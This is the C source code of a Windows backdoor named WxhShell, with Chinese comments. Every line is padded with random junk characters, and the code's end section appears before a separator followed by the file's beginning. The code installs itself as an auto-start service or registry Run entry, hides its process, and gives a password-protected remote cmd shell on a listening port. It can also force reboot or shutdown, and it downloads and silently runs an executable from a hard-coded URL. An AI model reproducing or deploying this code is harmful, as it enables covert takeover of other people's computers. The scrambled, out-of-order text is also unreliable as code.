    closesocket(wsh); ]Z?jo#F  
    ExitThread(0); N\anjG  
    } "0LSy x  
    break; ?Ta<.j  
    } x Nb7VUV7  
  // 关机 qSt\ 6~  
  case 'd': { L)c]i'WZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a66Ns7Rb  
    if(Boot(SHUTDOWN)) (_]D\g~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f4Ob4ah!(  
    else { XtqhK"f%  
    closesocket(wsh); ,\T7{=ZG\!  
    ExitThread(0); A1n4R  
    } _+,>NJ  
    break; i0F6eqe=J  
    } n0Qp:_2z  
  // 获取shell &v#pS!UOj  
  case 's': { f2u4*X E\  
    CmdShell(wsh); g@Pq<   
    closesocket(wsh); Y`."=8R~  
    ExitThread(0); ,P%i%YPj  
    break; hP}-yW6]  
  } 5zOC zm  
  // 退出 mt~E&Z(A  
  case 'x': { E24j(>   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .bUj  
    CloseIt(wsh); YJ|U| [  
    break; p8FXlTk  
    } D$+g5u)  
  // 离开 4~1lP&  
  case 'q': { 6^lix9q7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0?cJ>)N  
    closesocket(wsh); $,B;\PX  
    WSACleanup(); (8~D ^N6Z  
    exit(1); a"l\_D'.K8  
    break; yKy )%i  
        } k"|Fu   
  } w I;sZJc  
  } 6F5g2hBz  
WIabQ_fX  
  // 提示信息 P *&Cght>0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); my0iE:  
} 9N<=,!;5~s  
  } 4'TssRot@h  
Lp(i&A  
  return; I4KE@H"%7  
} aW}d=y[  
7'#_uA QR  
// shell模块句柄 R3>c\mA  
int CmdShell(SOCKET sock) E 02Y,C  
{ [^W +^3V  
STARTUPINFO si; G[6i\Et   
ZeroMemory(&si,sizeof(si)); %j/pln&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KcUR /o5K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X]o"4#CQIX  
PROCESS_INFORMATION ProcessInfo; a?xZsR  
char cmdline[]="cmd"; PEMBh?)g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dL_9/f4   
  return 0; M2\c0^R  
} I E{:{b\  
\}~71y}  
// 自身启动模式 Wt=\hixj-  
int StartFromService(void) |AT`(71  
{ ;/t~MH  
typedef struct %w?C)$Kn\  
{ $ w+.-Tr  
  DWORD ExitStatus; =sAU5Ag68  
  DWORD PebBaseAddress; Z*ag{N  
  DWORD AffinityMask; r`\@Fv,&#  
  DWORD BasePriority; =k>fW7e  
  ULONG UniqueProcessId; m41%?uC/  
  ULONG InheritedFromUniqueProcessId; TV#>x!5!d  
}   PROCESS_BASIC_INFORMATION; T Y% =Y=  
RB6Q>3g  
PROCNTQSIP NtQueryInformationProcess; pRzL}-[/v  
nM ?Nf}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B]vR=F}*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *;xGH  
3@:O1i  
  HANDLE             hProcess; MkhD*\D /  
  PROCESS_BASIC_INFORMATION pbi; v*&j A 8D  
IMBjI#\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R1/c@HQw?  
  if(NULL == hInst ) return 0; =XK}eQ_d  
i"x V=.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,FXc_BCx4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !zvOCAb,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K|l}+:k  
*[m:4\  
  if (!NtQueryInformationProcess) return 0; y/:%S2za>  
d!4TwpIgx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G&@d J &B  
  if(!hProcess) return 0; QBGjH^kL  
I~^Xw7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !XM<`H/  
uE<8L(*B  
  CloseHandle(hProcess); ^B%c3U$o  
g"k4Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B:Ft(,  
if(hProcess==NULL) return 0; 1)jea wVmj  
`SOQPAnK+;  
HMODULE hMod; RRpY%-8M  
char procName[255]; \yZVn6GVr  
unsigned long cbNeeded; i7Cuc+ j8  
_C (fz CK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {}rnn$HQe  
5Zd oem  
  CloseHandle(hProcess); FJ4,|x3v[x  
a+\<2NXYD  
if(strstr(procName,"services")) return 1; // 以服务启动 5 ba e-  
>MSK.SNh  
  return 0; // 注册表启动 >*opEI+  
} Qc)i?Z'6  
Dy>6L79G  
// 主模块 Jm#p!G+  
int StartWxhshell(LPSTR lpCmdLine) ck%YEMs  
{ Vo+.s#wN`h  
  SOCKET wsl; 9_nbMs   
BOOL val=TRUE; '=%`;?j  
  int port=0; vm{8x o  
  struct sockaddr_in door; +2}cR66%  
[ZC\8tP`V  
  if(wscfg.ws_autoins) Install(); 9#m3<oSJ  
#/jug[wf*!  
port=atoi(lpCmdLine); X d o\DQn  
4(VV@:_%  
if(port<=0) port=wscfg.ws_port; ExSM=  
F\^8k/0  
  WSADATA data; ~\i(bFd)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dvqg H  
l2:-).7xt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3;VH'hh_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %p$XK(6  
  door.sin_family = AF_INET; OzD\* ,{7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x,]x>Up  
  door.sin_port = htons(port); JN4gH4ez)  
u$C\#y7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]1XtV<  
closesocket(wsl); J*MH`;-  
return 1; a/J Mg   
} 0nL #-`S  
&VA^LS@b  
  if(listen(wsl,2) == INVALID_SOCKET) { 71Za!3+  
closesocket(wsl); pgiZA?r*<  
return 1; 2O*At%CzW  
} 6W{Nw<  
  Wxhshell(wsl); +Ugy=678Tr  
  WSACleanup(); > Xh=P%  
leb/D>y  
return 0; !=PH5jTY  
*~shvtq  
} U#S-x5Gn  
2 oV6#!{Z  
// 以NT服务方式启动 F6111Q </  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /RMtCa~  
{ 4v |i\V>M  
DWORD   status = 0; D!! B4zt  
  DWORD   specificError = 0xfffffff; yYYP;N?g4k  
[5!}+8]W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KXDnhV f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0%%U7GFB5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  6?*Do  
  serviceStatus.dwWin32ExitCode     = 0; FeMgn`q  
  serviceStatus.dwServiceSpecificExitCode = 0; pfHjs3A=  
  serviceStatus.dwCheckPoint       = 0; egSs=\  
  serviceStatus.dwWaitHint       = 0; m$^5{qpg  
y0(.6HI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G4*&9Wo  
  if (hServiceStatusHandle==0) return; 0C> _aj  
utuWFAGn A  
status = GetLastError(); (lS[a  
  if (status!=NO_ERROR) ]&"ii  
{ 1fMV$T==K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %J9u?-~  
    serviceStatus.dwCheckPoint       = 0; !-^oU"  
    serviceStatus.dwWaitHint       = 0; V^R,j1*  
    serviceStatus.dwWin32ExitCode     = status; " "m-5PGYo  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9  @ <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d^nO&it  
    return; t0e5L{ QJ  
  } 4'dN7E1*f  
 %G\nl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8y<.yfgG  
  serviceStatus.dwCheckPoint       = 0; 2t_g\Q  
  serviceStatus.dwWaitHint       = 0; l+>Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {l!{b1KJ  
} h)ZqZ'k$  
B }euIQB  
// 处理NT服务事件,比如:启动、停止 F nXm;k,9*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |8~)3P k  
{ k(^TXUK\o  
switch(fdwControl) CEkUXsp  
{ bRyxP2  
case SERVICE_CONTROL_STOP: ym%` l!  
  serviceStatus.dwWin32ExitCode = 0; #}B1W&\sw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k<Gmb~Tg1  
  serviceStatus.dwCheckPoint   = 0; AVw oOv J  
  serviceStatus.dwWaitHint     = 0; i 0/QfB%O  
  { b way+lh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @@U  
  } >AX_"Q~  
  return; ZCj1Cz]"l<  
case SERVICE_CONTROL_PAUSE: SyI~iW#Y1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qt {){uE  
  break; iTq&h=(n  
case SERVICE_CONTROL_CONTINUE: tt2 S.j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9ghzK?Yc  
  break; X"d"a={]  
case SERVICE_CONTROL_INTERROGATE: y3 b"'-%  
  break; m4oj1h_4  
}; tmq?h%O>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }:c~5whN  
} 4V4S5V  
@@K/0:],  
// 标准应用程序主函数 Vdx o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `r-Jy{!y4  
{ v JGH8$%;,  
anpKW a  
// 获取操作系统版本 g$#A'Du  
OsIsNt=GetOsVer(); ~mt{j7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 48^C+#Jbc  
Vf~-v$YI  
  // 从命令行安装 '}(>s%~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Miw=2F  
!ITM:%  
  // 下载执行文件 c}n66qJF5  
if(wscfg.ws_downexe) { OYt_i'Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4hxP`!<  
  WinExec(wscfg.ws_filenam,SW_HIDE); zEO~mJzo  
} '+{yg+#/wV  
yp$jLBA  
if(!OsIsNt) { -hW>1s<  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xwo+iZ(a  
HideProc(); "Hz%0zP&  
StartWxhshell(lpCmdLine); kP[fhOpn  
} }"WovU{*s  
else (_ :82@c  
  if(StartFromService()) Zl&ED{k<  
  // 以服务方式启动 2;"vF9WMm  
  StartServiceCtrlDispatcher(DispatchTable); 8%u|[Si;  
else $`7Fk%#+e  
  // 普通方式启动 ysK J=  
  StartWxhshell(lpCmdLine); DFQ`(1Q  
<";1[A%7<  
return 0; H $Az,-P  
} eL"'-d+]  
~A5NseWCK  
o96c`a u  
de2G"'F  
=========================================== fi>.X99(G  
7Ko*`-p  
P.q7rk<  
dtY8>klI  
`ql8y'  
]5QXiF8`  
" ^_\m@   
`lOW7Z}  
#include <stdio.h> ^&86VBP  
#include <string.h> u(8{5"C  
#include <windows.h> <)a$5"AP  
#include <winsock2.h> OqMdm~4B!j  
#include <winsvc.h> /KC^x= Xv:  
#include <urlmon.h> BNE:,I*&  
kZG; \  
#pragma comment (lib, "Ws2_32.lib") hQe78y  
#pragma comment (lib, "urlmon.lib") 3GKKC9C6  
k3t]lG p  
#define MAX_USER   100 // 最大客户端连接数 Ih.)iTs~%  
#define BUF_SOCK   200 // sock buffer bcwb'D\a  
#define KEY_BUFF   255 // 输入 buffer c-&Q_lB  
W&cs&>F#  
#define REBOOT     0   // 重启 n_]B5U  
#define SHUTDOWN   1   // 关机 qvo!nr7  
HxW/t7Z(  
#define DEF_PORT   5000 // 监听端口 l lcq~*zz  
Nb3O> &J  
#define REG_LEN     16   // 注册表键长度 x?B`p"ifS  
#define SVC_LEN     80   // NT服务名长度 rp<~=X  
)K]p^lO  
// 从dll定义API wAW{{ p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8r"-3<*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w/ZP. B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r*mSnPz\q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YKU|D32  
$-pijBiz_  
// wxhshell配置信息 x 2&5zp  
struct WSCFG { 9eHqOmz  
  int ws_port;         // 监听端口 4@\$k+v  
  char ws_passstr[REG_LEN]; // 口令 zi`q([  
  int ws_autoins;       // 安装标记, 1=yes 0=no > r(`4M:  
  char ws_regname[REG_LEN]; // 注册表键名 _i7yyt;h  
  char ws_svcname[REG_LEN]; // 服务名 vs+aUT C\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^CQp5kp]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QA^FP8!j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /SM 7t_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 73S N\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E>-I |X"L1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G?b*e|@S  
OY81|N j  
}; 6 F39'  
NQuqM`LSQ  
// default Wxhshell configuration `_1fa7,z  
struct WSCFG wscfg={DEF_PORT, x%H,ta%  
    "xuhuanlingzhe", |BhL.  
    1, /CyFe<t  
    "Wxhshell", f$5pp=s:n  
    "Wxhshell", rrEf<A}  
            "WxhShell Service", 8EJP~bt  
    "Wrsky Windows CmdShell Service", |%|Vlu  
    "Please Input Your Password: ", h,&{m*q&  
  1, PU%f`)  
  "http://www.wrsky.com/wxhshell.exe", *PFQ  
  "Wxhshell.exe" %zY5'$v `  
    }; x<rS2d-Y  
P~lU`.X}  
// 消息定义模块 `S4*~Xx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3rHn?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ' e!WZvr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M6A0D+08  
char *msg_ws_ext="\n\rExit."; tmBt[  
char *msg_ws_end="\n\rQuit."; kd"nBb=  
char *msg_ws_boot="\n\rReboot..."; F/LMk8RgR  
char *msg_ws_poff="\n\rShutdown..."; G `3{Q7k  
char *msg_ws_down="\n\rSave to "; {0a\<l  
-e0[$v  
char *msg_ws_err="\n\rErr!"; -~(d_  
char *msg_ws_ok="\n\rOK!"; HEc.3   
J9XH8Grk-  
char ExeFile[MAX_PATH]; !wEe<],  
int nUser = 0; hW!n"qU  
HANDLE handles[MAX_USER]; a @3s71  
int OsIsNt; 4bw4!z9G  
nJYIkfdA  
SERVICE_STATUS       serviceStatus; IaO R%B g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EBL-+%J8  
,UVu.RjXN  
// 函数声明 NySa%7@CD  
int Install(void); g2==`f!i  
int Uninstall(void); KTot40osj  
int DownloadFile(char *sURL, SOCKET wsh); YuIF}mUr"  
int Boot(int flag); >)diXe}j  
void HideProc(void); P{n*X  
int GetOsVer(void);  W{Z 7=  
int Wxhshell(SOCKET wsl); W?kJ+1"(  
void TalkWithClient(void *cs); m`$Q/SyvG  
int CmdShell(SOCKET sock); ue+{djz[4  
int StartFromService(void); z>y# ^f)r  
int StartWxhshell(LPSTR lpCmdLine); #l- 0$  
q o^mp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~UeTV?)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XHJ` C\xR  
a-F I`Dv  
// 数据结构和表定义 -nHkO&&R  
SERVICE_TABLE_ENTRY DispatchTable[] = gzKMGL?%?  
{ S!gzmkGcj  
{wscfg.ws_svcname, NTServiceMain}, #M'V%^xP  
{NULL, NULL} zv;xxAX  
}; [N9yW uc  
0&CXR=U5  
// 自我安装 [kxOv7a  
int Install(void) [~\]<;;\  
{ IqepR >5t  
  char svExeFile[MAX_PATH]; PXtF#,roP  
  HKEY key; 3X DU(#  
  strcpy(svExeFile,ExeFile); }hg2}g99  
W4k$m 2  
// 如果是win9x系统,修改注册表设为自启动 o%;ly  
if(!OsIsNt) { ~a_X 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T"X]@9g^-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KDP47A  
  RegCloseKey(key); :HY =^$\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xw_)~Y%\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (4ZO[Ae  
  RegCloseKey(key);  -K8F$\W  
  return 0; $%31Gk[I  
    } |=,jom  
  } (5th   
} ='qVwM['  
else { Hsv)] %p  
 qbS6#7D  
// 如果是NT以上系统,安装为系统服务  |xg#Q`O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {5c?_U  
if (schSCManager!=0)  !=*8*?@  
{ C$C>RYE?.  
  SC_HANDLE schService = CreateService + %K~  
  ( vV 9vB3K5?  
  schSCManager, BaIuOZ@,  
  wscfg.ws_svcname, s]kzXzRC?  
  wscfg.ws_svcdisp, c[ 0`8s!  
  SERVICE_ALL_ACCESS, +U_1B%e(%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gCG #?f  
  SERVICE_AUTO_START, 0} &/n>F  
  SERVICE_ERROR_NORMAL, LdNpb;*  
  svExeFile,  s7:H  
  NULL, #Y   
  NULL, TKGaGMx6@  
  NULL, 'yA/sZ  
  NULL, V'Kied+  
  NULL ZPb30M0  
  ); m]fUV8U  
  if (schService!=0) `\;Z&jlpT  
  { -+Yark  
  CloseServiceHandle(schService); {~Jk(c~I  
  CloseServiceHandle(schSCManager); aTeW#:m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $>yfu=]?  
  strcat(svExeFile,wscfg.ws_svcname); nIfAG^?|*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kMnG1K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oZ tCx  
  RegCloseKey(key); whHuV*K}  
  return 0; z;<~j=lP  
    } &Q}%b7  
  } PO6yE r  
  CloseServiceHandle(schSCManager); lfC]!=2%~8  
} <?!'  
} jg{2Sxf!c  
i(cKg&+ktd  
return 1; c@}t@k  
} >ZG$8y 'j  
qs bo"29  
// 自我卸载 9=T;Dxn  
int Uninstall(void) w4TQ4 Y  
{ [' pO=ho  
  HKEY key; /JC1o&z_T  
?vAhDD5  
if(!OsIsNt) { eQ8t.~5;-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dlCYdwP  
  RegDeleteValue(key,wscfg.ws_regname); i}v.x  
  RegCloseKey(key); oS9Od8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ @xPoD&  
  RegDeleteValue(key,wscfg.ws_regname); .n YlYY'   
  RegCloseKey(key); Y&Fg2_\">  
  return 0; H7;, Kr  
  } Y2.zT6i  
} eXK3W2XF  
} .f-=gZ* *  
else { eh]sye KBj  
.lP',hn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VWHpfm[r%  
if (schSCManager!=0) UdnRsp9S  
{ 6<fG; :  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g\.$4N  
  if (schService!=0) ,3f>-mP  
  { ku]?"{Xx  
  if(DeleteService(schService)!=0) { URbB2 Bi  
  CloseServiceHandle(schService); Jx}-Y* o  
  CloseServiceHandle(schSCManager); j_<!y(W  
  return 0; ysIhUpd  
  } aHpZhR| f$  
  CloseServiceHandle(schService); ZBY2,%nAo  
  } WfG +_iP?  
  CloseServiceHandle(schSCManager); @Bhcb.kbq  
} },JJ!3  
} 7/QK"0  
(Y7zaAG]  
return 1; sw$uZ$$~#  
} L{8_6s(:  
LOfw #+]d  
// 从指定url下载文件 <Oh i+a%6  
int DownloadFile(char *sURL, SOCKET wsh) r#)1/`h  
{ rg>2tgA  
  HRESULT hr; F5/,S   
char seps[]= "/"; ; xp-MK  
char *token; >|kD(}Axf  
char *file; `kQosQV  
char myURL[MAX_PATH]; 457{9k  
char myFILE[MAX_PATH]; 81s }4  
YT(Eh3ID  
strcpy(myURL,sURL); v]F4o1ckk  
  token=strtok(myURL,seps); t4v'X}7q]  
  while(token!=NULL) Q#SQ@oUzD  
  { $>O~7Nfst7  
    file=token; !R\FCAW[x  
  token=strtok(NULL,seps); lbIPtu  
  } XJ3sqcS  
.|R4E  
GetCurrentDirectory(MAX_PATH,myFILE); N\|z{vn  
strcat(myFILE, "\\"); ] T]{VB  
strcat(myFILE, file); 6Nn+7z<*&z  
  send(wsh,myFILE,strlen(myFILE),0); 8t*sp-cy|  
send(wsh,"...",3,0); At=d//5FFP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H#;*kc a4  
  if(hr==S_OK) GK'p$`oJm  
return 0; LPJ7V` !k  
else b=:ud[h  
return 1; miQ*enZi  
=NC??e{  
} *4`5&) `  
AK&>3D  
// 系统电源模块 |w{Qwf!2  
int Boot(int flag) MAFdJ +n#  
{ [F+W]Jk,  
  HANDLE hToken; Zc1x"j  
  TOKEN_PRIVILEGES tkp; si6CWsb_f  
yFDeY PZP  
  if(OsIsNt) { Z)E)-2U$@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,jis@]:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wT" :  
    tkp.PrivilegeCount = 1; a!:N C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V)/J2-w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jk\-e`eE  
if(flag==REBOOT) { #d\&6'O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S5 q1M n  
  return 0; lRg?||1ik  
} eZT8gKbjJ)  
else { 1a{3k#}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &Z]}rn  
  return 0; Z@+nkTJ9&t  
} /v5A)A$7  
  } 8ex;g^e  
  else { NC-K`)  
if(flag==REBOOT) { _`\!+qGq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1;=L] L?  
  return 0; %mT/y%&:  
} ={P`Tve  
else { [ZSC]w^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $]E+E.P  
  return 0; g[pU5%|"[  
} -\?-  
} xWzybuLp  
m- <y|3  
return 1; a&b/C*R_  
} NLL"~  
23^>#b7st  
// win9x进程隐藏模块 U; oXX  
void HideProc(void) ~bb6NP;'L  
{ P5_Ajb(@'  
{ %X2K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lF!PiL  
  if ( hKernel != NULL ) vNs%e/~vj  
  { <<MpeMi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `~u=[}w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cHFW"g78  
    FreeLibrary(hKernel); ) >FAtE   
  } "PI;/(kR  
o( zez  
return; *FC8=U2\X  
} C 6 \  
C][hH?.  
// 获取操作系统版本 L4/ns@e  
int GetOsVer(void) n~yKq"^  
{ $"/l*H\h  
  OSVERSIONINFO winfo; +-|""`I1I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,#ZPg_x?1  
  GetVersionEx(&winfo); 9#:nlu9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K.}jOm  
  return 1; S#C-j D  
  else E72N=7v"  
  return 0; tz;o6,eb  
} 1 gjaTPwY  
%@a;q?/?Nd  
// 客户端句柄模块 ,ZJ}X 9$<  
int Wxhshell(SOCKET wsl) wea  
{ q ][kD2  
  SOCKET wsh; n&;JW6VQS  
  struct sockaddr_in client; G=17]>U  
  DWORD myID; ; D<k  
cDz@3So.b  
  while(nUser<MAX_USER) n?r8ZDJ'  
{ pwfQqPC#_  
  int nSize=sizeof(client); x&;AY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~wW]ntZm  
  if(wsh==INVALID_SOCKET) return 1; 2Cp4aTGv#  
3pWav 1"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L.@$rFhA  
if(handles[nUser]==0) | 9S8sfw  
  closesocket(wsh); <h/q^|tZ{  
else M{24MF   
  nUser++; g.9C>>tj  
  } _ $>);qIP4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aF?_V!#cT  
vf3)T;X>  
  return 0; geyCS3 :p  
} Lbz/M _G  
)4uWB2ZRoi  
// 关闭 socket A2ye ^<-C.  
void CloseIt(SOCKET wsh) BGibBF^  
{ H I|a88   
closesocket(wsh); a8T9=KY^  
nUser--; cOP'ql{"  
ExitThread(0); e#HPU  
} =A6*;T"W  
kQ\ $0=6N9  
// 客户端请求句柄 q$" u<  
void TalkWithClient(void *cs) S&UP;oc  
{ _oc6=Z  
q&@s/k  
  SOCKET wsh=(SOCKET)cs; SzpUCr"  
  char pwd[SVC_LEN]; &{8:XJe*,%  
  char cmd[KEY_BUFF]; a%`Yz"<lQ  
char chr[1]; ^x O](,H  
int i,j; rwj+N%N  
>WLX5i&  
  while (nUser < MAX_USER) { NHyUHFY  
 }cMkh  
if(wscfg.ws_passstr) { h<&GdK2U+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Px|:7~wT8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a+LK~mC*  
  //ZeroMemory(pwd,KEY_BUFF); ,HDhP  
      i=0; ASy?^Jrs5  
  while(i<SVC_LEN) { 7(o`>7x*  
GZaB z#U  
  // 设置超时 t jThQ  
  fd_set FdRead; kBk>1jn"  
  struct timeval TimeOut; Fj<*!J$,  
  FD_ZERO(&FdRead); l3b=8yn.  
  FD_SET(wsh,&FdRead); h!SsIy(  
  TimeOut.tv_sec=8; u $-&Im<  
  TimeOut.tv_usec=0; 2EM6k|l5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bI0xI[#Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } F{s\qUt  
Ox J0. "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IWv5UmjN  
  pwd=chr[0]; "W+>?u)  
  if(chr[0]==0xd || chr[0]==0xa) { `$jun  
  pwd=0; vE(]!CB  
  break; hev;M)t  
  } $rW(*#C  
  i++; k ?KJ8  
    } bh5D}w  
=|AYT6z,  
  // 如果是非法用户,关闭 socket }d}sC\>U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ] hK}ASC  
} %7mGMa/  
n32"cFPpT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _s@PL59,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \l(J6Tu  
8zeeC eIU  
while(1) { >6Uc|D  
L,A+"  
  ZeroMemory(cmd,KEY_BUFF); -'qVnu  
I;JV-jDM  
      // 自动支持客户端 telnet标准   i;{lY1  
  j=0; '/qy_7O  
  while(j<KEY_BUFF) { d%k7n+ICQ4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LGuZp?"  
  cmd[j]=chr[0]; }h Wv  p  
  if(chr[0]==0xa || chr[0]==0xd) { &u&WP  
  cmd[j]=0; cy@R i#  
  break; b|.Cqsb  
  } 2R,} j@  
  j++; ,!Q nh:  
    } R4 eu,,J  
U:8] G  
  // 下载文件 z0LspRaz  
  if(strstr(cmd,"http://")) { oQ -m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "[7-1}l  
  if(DownloadFile(cmd,wsh)) mmJnE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %2dzx[s  
  else u3qx G3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;8PO}{rD  
